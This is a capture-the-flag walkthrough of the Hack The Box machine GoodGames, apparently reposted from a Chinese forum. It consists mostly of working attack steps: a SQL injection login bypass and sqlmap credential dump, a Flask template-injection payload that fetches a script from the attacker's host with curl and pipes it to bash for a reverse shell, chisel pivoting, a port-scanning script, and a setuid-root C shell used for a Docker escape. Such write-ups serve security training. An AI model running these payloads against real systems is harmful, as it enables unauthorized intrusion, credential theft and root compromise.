[Meachines] [Easy] GoodGames SQLI+Flask SSTI+Docker逃逸权限提升

Information Gathering

IP AddressOpening Ports10.10.11.130TCP:80 $ sudo masscan -p1-65535,U:1-65535 10.10.11.130 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.11.130

1. PORT   STATE SERVICE VERSION
2. 80/tcp open  http    Apache httpd 2.4.51
3. |_http-server-header: Werkzeug/2.0.2 Python/3.9.2
4. |_http-title: GoodGames | Community and Store
5. Service Info: Host: goodgames.htb

复制代码

SQLI

# echo '10.10.11.130 goodgames.htb' >> /etc/hosts

$ dirsearch -u 'http://goodgames.htb'

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.goodgames.htb -H "Host: FUZZ.goodgames.htb" -ac
email=1%40gmail.com'--+&password=123

email=1%40gmail.com'%20OR%20'1'='1'--+&password=123

$ sqlmap -r sqli -p email --batch

$ sqlmap -r sqli -p email --batch -D main -T user --dump

email:admin@goodgames.htb
username:admin
password:superadministrator

# echo '10.10.11.130 internal-administration.goodgames.htb' >> /etc/hosts
Flask SSTI Injection

http://internal-administration.goodgames.htb/login

1. POST /settings HTTP/1.1
2. Host: internal-administration.goodgames.htb
3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5. Accept-Language: en-US,en;q=0.5
6. Accept-Encoding: gzip, deflate, br
7. Content-Type: application/x-www-form-urlencoded
8. Content-Length: 12
9. Origin: http://internal-administration.goodgames.htb
10. Connection: close
11. Referer: http://internal-administration.goodgames.htb/settings
12. Cookie: session=.eJwlzjmOAjEQQNG7OJ6gNttlLtOyaxFopBmpGyLE3WlE-F_0n2XLPY5rudz3R_yU7eblUmbNTKJOMTv2xlEnLvZRZa6cyFlXApt0B8yTWRbWcKjWxBynA7euMwcNqoxhGCBJQ62zDFouHEMJZWlVc9eVlg20Z-uGiOUceRyxf28-acee2_3_N_5OSIfAIS1aR1OxaO5jgShFCrBKJVTXVl5vIF4_KQ.Z5IPJg.xnuJSS0C6PcZvOJeMd6iV8AclZE
13. Upgrade-Insecure-Requests: 1
16. name={{9*9}}

复制代码

name={{config.__class__.__init__.__globals__['os'].popen('curl%20http://10.10.16.16/rev|bash').read()}}

User.txt

   388118f20c90df4d38744d9ac624dd43
  Privilege Escalation : Docker Escape

Server:
$ chisel server -p 8000 --reverse
Client:
# ./chisel_1.10.1_linux_amd64 client 10.10.16.16:8000 R:localhost:1080:socks
Server:
$ vim 10.10.11.130.conf

Client:
# arp -a

https://raw.githubusercontent.com/S12cybersecurity/Pivoting_Enum/refs/heads/main/pivoting.sh

1. #!/bin/bash
3. RED="\e[31m"
4. GREEN="\e[32m"
5. YELLOW="\e[33m"
6. ENDCOLOR="\e[0m"
8. hostname=$(hostname)
10. echo -e "${GREEN}[+] Basic Information on $hostname machine${ENDCOLOR}"
13. echo -e "\n${YELLOW}List of Machine Local IP's:${ENDCOLOR}"
14. ifconfig | awk '{print $(NF - -4), $NF}' | grep "172."  | cut -c 2-
15. ifconfig | awk '{print $(NF - -4), $NF}' | grep "192." | cut -c 2-
16. ifconfig | awk '{print $(NF - -4), $NF}' | grep "10." | cut -c 2- | grep -v "0x10<host>"
18. echo -e "\n${YELLOW}Utilities:${ENDCOLOR}"
20. which aws
21. which netcat
22. which nc.traditional
23. which curl
24. which ping
25. which gcc
26. which g++
27. which make
28. which gdb
29. which base64
30. which socat
31. which python
32. which python2
33. which python3
34. which perl
35. which php
36. which ruby
37. which xterm
38. which sudo
39. which wget
40. which nc
41. which nmap
42. which fping
44. echo -e "\n"
46. echo -e "${GREEN}[+] Network Recon\n${ENDCOLOR}"
48. if [ -z $1 ]
49. then
50.     echo -e "${RED}[*] Syntax: <NETWORK/S TO SCAN> Format: 192.168.0 ${ENDCOLOR}"
51.     exit 1
52. fi
54. if [[ $# =~ 1 ]]
55. then
56.    hosts=($1)
57.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"$hosts
58. fi
60. if [[ $# =~ 2 ]]
61. then
62.    hosts=($1 $2)
63.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}
64. fi
66. if [[ $# =~ 3 ]]
67. then
68.    hosts=($1 $2 $3)
69.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}", "${hosts[2]}
70. fi
72. if [[ $# =~ 4 ]]
73. then
74.    hosts=($1 $2 $3 $4)
75.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}", "${hosts[2]}", "${hosts[3]}
76. fi
79. for host in ${hosts[@]}; do
80.         echo -e "\n${YELLOW}[*] Enumerating Network: $host${ENDCOLOR}\n"
81.         for i in $(seq 1 254); do
82.                 timeout 0.5 bash -c "ping -c 1 $host.$i" &> /dev/null
83.                 a=$(echo $?)
84.                 if [[ $a =~ 0 ]]
85.                 then
86.                         array[${#array[@]}]=$host.$i
87.                         echo $host.$i >> hosts.txt
88.                         b=$(ping -c 1 $host.$i | grep 'ttl' | awk '{print $(NF - 2), $NF}' | cut -c 5-7)
89.                         if [[ $b =~ 64 ]] || [[ $b =~ 63 ]] || [[ $b =~ 62 ]]
90.                         then
91.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=Linux]"
92.                        
93.                         elif [[ $b =~ 128 ]] || [[ $b =~ 127 ]] || [[ $b =~ 126 ]]
94.                         then
95.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=Windows]"
96.                         else
97.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=UNDETECTED]"
98.                         fi
99.                 fi
100.         done; wait
101. done
103. for host in ${array[@]}; do
104.         echo -e "\n${YELLOW}[*] Scanning Ports on: $host${ENDCOLOR}\n"
105.         for port in $(seq 1 10001); do
106.                 timeout 1 bash -c "echo '' > /dev/tcp/$host/$port" 2> /dev/null && echo -e "\t[+] PORT $host:$port OPEN" &
107.         done; wait
108. done

复制代码

# ./host_discovery.sh 172.19.0

Server:
$ sudo proxychains -f 10.10.11.130.conf ssh augustus@172.19.0.1

Docker用户创建test文件在augustus目次中test全部者是root

1. #include <stdio.h>
2. #include <stdlib.h>
4. int main() {
5.         setuid(0);
6.         system("/bin/bash");
7. }

复制代码

# wget http://10.10.16.16/suid.c
# gcc suid.c -o suid
# chmod u+s suid
augustus@GoodGames:~$ ./suid

Root.txt

   a42c76fe28f8a2556fa7e8794f133c15

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。